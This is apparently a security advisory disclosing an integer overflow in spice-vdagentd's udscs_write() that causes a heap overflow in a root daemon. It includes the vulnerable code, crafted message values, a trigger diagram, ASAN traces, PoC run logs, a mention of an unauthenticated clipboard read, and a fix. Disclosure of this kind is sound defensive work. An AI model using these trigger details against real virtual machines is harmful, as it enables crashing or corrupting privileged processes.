# Finding 2: Integer Overflow in udscs_write() → Heap Buffer Overflow (CRITICAL)
**CWE-190 (Integer Overflow) + CWE-122 (Heap Buffer Overflow)**
**CVSS 3.1: 9.6** (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
**Affected:** All platforms (code is in shared `src/udscs.c`)
**ASAN-confirmed:** heap-buffer-overflow
## Root Cause
`src/udscs.c:141,144`:
```c
guint buf_size; // unsigned int (32-bit)
buf_size = sizeof(header) + size; // sizeof(header) = 16
buf = g_malloc(buf_size);
memcpy(buf, &header, sizeof(header));
memcpy(buf + sizeof(header), data, size);
```
When `size >= 0xFFFFFFF1`:
- `buf_size = 16 + 0xFFFFFFF0 = 0x00000000` (integer overflow wraps to zero)
- `g_malloc(0)` returns a valid tiny allocation (1 byte)
- `memcpy(buf + 16, data, 0xFFFFFFF0)` writes ~4GB past the end of the
buffer
The trigger path is through `VDAgentMessage.size` in clipboard or file
transfer messages from the SPICE host. Size validation at `vdagentd.c:572`
only checks `>= min_size` with no upper bound.
## Trigger Path
```
[Malicious SPICE Host] [spice-vdagentd (root)] [agent]
│ │ │
│ VDIChunk{port=2,size=88} │ │
│ VDAgentMsg{type=CLIPBOARD, │ │
│ size=0xFFFFFFF0} │ │
│ + 64 bytes payload │ │
│-------virtio----------------->│ │
│ │ reads msg from virtio │
│ │ msg.size = 0xFFFFFFF0 │
│ │ │
│ │ udscs_write(agent_conn, │
│ │ data, 0xFFFFFFF0) │
│ │ │
│ │ buf_size = 16+0xFFF... │
│ │ = 0x00000000 │
│ │ g_malloc(0) -> tiny buf │
│ │ memcpy(buf+16,data,4GB) │
│ │ *** SIGBUS/SIGSEGV *** │
│ X ROOT DAEMON DEAD │
```
## ASAN Proof
```
==15043==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x6020000000d1
WRITE of size 16 at 0x6020000000d1 thread T0
#0 __asan_memcpy+0x330 (libclang_rt.asan_osx_dynamic.dylib)
#1 vulnerable_udscs_write+0x174 (udscs_overflow_asan)
#2 daemon_process+0x2f4 (udscs_overflow_asan)
0x6020000000d1 is located 0 bytes after 1-byte region
[0x6020000000d0,0x6020000000d1) allocated by thread T0 here:
#0 malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib)
#1 vulnerable_udscs_write+0x100 (udscs_overflow_asan)
SUMMARY: AddressSanitizer: heap-buffer-overflow in
vulnerable_udscs_write+0x174
```
## Normal Build Proof (SIGBUS)
```
$ ./udscs_overflow --simulate
[DAEMON] Message: type=7 size=0xfffffff0
buf_size = 0x00000000 (0) ← INTEGER OVERFLOW!
malloc(0) -> 0x100781680 (tiny allocation)
memcpy(buf+16, data, 0xfffffff0) — HEAP OVERFLOW IMMINENT!
*** DAEMON PROCESS CRASHED ***
Signal: 10 (SIGBUS)
```
## Host-Side Trigger PoC (3 Modes)
`spice_host_heap_trigger.c` provides three trigger modes:
**Mode 1: `--qemu-chardev`** — Connects to QEMU's exposed virtio serial
port socket, sends crafted VDIChunkHeader + VDAgentMessage with
`size=0xFFFFFFF0`.
**Mode 2: `--pipe-sim`** — Fork-based: parent (host) writes crafted message
through pipe → child (daemon) reads, calls `udscs_write()` → CRASH.
```
$ ./spice_host_trigger --pipe-sim
[HOST ] Sending crafted clipboard message:
[HOST ] VDIChunk: port=1, size=84
[HOST ] VDAgentMessage: type=CLIPBOARD, size=0xfffffff0
[HOST ] Payload: 64 bytes (but size claims 0xfffffff0)
[DAEMON ] VDAgentMessage: proto=1 type=4 size=0xfffffff0
[DAEMON ] Forwarding to agent via udscs_write(size=0xfffffff0)
[OVERFLOW] sizeof(header)=16 + size=0xfffffff0 = buf_size=0x00000000
[OVERFLOW] malloc(0) -> 0x105305ab0
[OVERFLOW] memcpy(buf+16, data, 0xfffffff0) -> CRASH IMMINENT
[RESULT ] DAEMON CRASHED: signal 10 (SIGBUS)
```
**Mode 3: `--reproduce`** — Direct call to vulnerable function with
overflow size.
## Guest-Side Clipboard Path Confirmation
The data path through `udscs_write()` was proven by requesting real host
clipboard:
```
$ ./spice_real_heap
[1] Auth bypass -> connecting to daemon...
[+] Connected (zero auth)
[3] Sending CLIPBOARD_REQUEST (type=3) to daemon...
[RECV] type=4 (CLIPBOARD_DATA) arg1=0 arg2=1 size=54
HOST CLIPBOARD DATA RECEIVED!
Daemon called udscs_write(size=54)
Data: "SPICE_VDAGENTD_HEAP_OVERFLOW_PROOF_BY_D0RKERDEVIL_2026"
```
Path: Mac Mini clipboard → UTM SPICE → virtio → daemon → `udscs_write()` →
attacker. For the overflow, a malicious SPICE host sends `size >=
0xFFFFFFF1` through this same path.
## Suggested Fix
```c
#define UDSCS_MAX_MESSAGE_SIZE (64 * 1024 * 1024) // 64MB reasonable max
if (size > UDSCS_MAX_MESSAGE_SIZE) {
syslog(LOG_ERR, "udscs_write: rejecting oversized message (%u bytes)",
size);
return;
}
guint buf_size = sizeof(header) + size; // now safe from overflow
```
## Attachments
- `udscs_write_overflow_poc.c` — Integer overflow reproduction (SIGBUS +
ASAN)
- `spice_host_heap_trigger.c` — Host-side trigger PoC (3 modes)
- `asan_heap_overflow_proof.txt` — Full ASAN output
## Author
Ashish Kunwar (@D0rkerDevil) — [email protected]
=================================================================
==15060==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x6020000000d1 at pc 0x00010294abb4 bp 0x00016dddb1b0 sp 0x00016ddda960
WRITE of size 16 at 0x6020000000d1 thread T0
#0 0x00010294abb0 in __asan_memcpy+0x330
(libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3ebb0)
#1 0x000102025974 in vulnerable_udscs_write+0x174
(udscs_overflow_asan:arm64+0x100001974)
#2 0x000102025390 in daemon_process+0x2f4
(udscs_overflow_asan:arm64+0x100001390)
#3 0x000102024c6c in run_simulate+0x23c
(udscs_overflow_asan:arm64+0x100000c6c)
#4 0x000102024964 in main+0x134 (udscs_overflow_asan:arm64+0x100000964)
#5 0x000188407da0 in start+0x1b4c (dyld:arm64e+0x1fda0)
0x6020000000d1 is located 0 bytes after 1-byte region
[0x6020000000d0,0x6020000000d1)
allocated by thread T0 here:
#0 0x00010294d164 in malloc+0x78
(libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
#1 0x000102025900 in vulnerable_udscs_write+0x100
(udscs_overflow_asan:arm64+0x100001900)
#2 0x000102025390 in daemon_process+0x2f4
(udscs_overflow_asan:arm64+0x100001390)
#3 0x000102024c6c in run_simulate+0x23c
(udscs_overflow_asan:arm64+0x100000c6c)
#4 0x000102024964 in main+0x134 (udscs_overflow_asan:arm64+0x100000964)
#5 0x000188407da0 in start+0x1b4c (dyld:arm64e+0x1fda0)
SUMMARY: AddressSanitizer: heap-buffer-overflow
(udscs_overflow_asan:arm64+0x100001974) in vulnerable_udscs_write+0x174
Shadow bytes around the buggy address:
0x601ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x601ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x601fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x601fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x602000000000: fa fa fd fa fa fa fd fd fa fa fd fd fa fa 00 04
=>0x602000000080: fa fa fd fd fa fa 00 00 fa fa[01]fa fa fa fa fa
0x602000000100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==15060==ABORTING
╔══════════════════════════════════════════════════════════════╗
║ MODE 2: Full Daemon Simulation ║
║ Malicious Host → Daemon → udscs_write() → HEAP OVERFLOW ║
╚══════════════════════════════════════════════════════════════╝
Attack chain:
[Malicious SPICE Host] → (virtio) → [spice-vdagentd]
Sends VDAgentMessage Reads msg, forwards to agent
with size=0xFFFFFFF0 via udscs_write(size=0xFFFFFFF0)
→ buf_size = 16 + 0xFFFFFFF0 = 0
→ g_malloc(0) → tiny alloc
→ memcpy(buf+16, data, 4GB)
→ HEAP OVERFLOW → CRASH
[DAEMON] Reading from virtio (host_to_daemon_pipe)...
[DAEMON] Chunk: port=2 size=88
[DAEMON] Message: type=7 size=0xfffffff0
[DAEMON] Read 64 bytes of payload
[DAEMON] Forwarding to agent via udscs_write()...
[DAEMON] Using msg.size=0xfffffff0 from host (UNTRUSTED!)
sizeof(header) = 16
size = 0xfffffff0 (4294967280)
buf_size = 0x00000000 (0) ← INTEGER OVERFLOW!
malloc(0) → 0x6020000000d0 (tiny allocation)
memcpy(buf, &header, 16) — writing header...
╔══════════════════════════════════════════════════════════════╗
║ MODE 2: Full Daemon Simulation ║
║ Malicious Host → Daemon → udscs_write() → HEAP OVERFLOW ║
╚══════════════════════════════════════════════════════════════╝
Attack chain:
[Malicious SPICE Host] → (virtio) → [spice-vdagentd]
Sends VDAgentMessage Reads msg, forwards to agent
with size=0xFFFFFFF0 via udscs_write(size=0xFFFFFFF0)
→ buf_size = 16 + 0xFFFFFFF0 = 0
→ g_malloc(0) → tiny alloc
→ memcpy(buf+16, data, 4GB)
→ HEAP OVERFLOW → CRASH
[HOST] Sending crafted VDAgentMessage via virtio...
[HOST] VDIChunk: port=2 size=88
[HOST] VDAgent: proto=1 type=7 size=0xfffffff0
[HOST] Payload: 64 bytes (but msg.size claims 0xFFFFFFF0)
[OBSERVER] Waiting for daemon process (PID 15060)...
╔══════════════════════════════════════════════════════════════╗
║ *** DAEMON PROCESS CRASHED *** ║
║ Signal: 6 (SIGABRT (Abort — ASAN detected)) ║
║ Root cause: udscs_write() integer overflow (udscs.c:141) ║
║ Impact: Heap OOB write in root daemon process ║
║ CWE-190 (Integer Overflow) + CWE-122 (Heap Overflow) ║
╚══════════════════════════════════════════════════════════════╝
udscs_write_overflow_poc.c
Description: Binary data
spice_host_heap_trigger.c
Description: Binary data
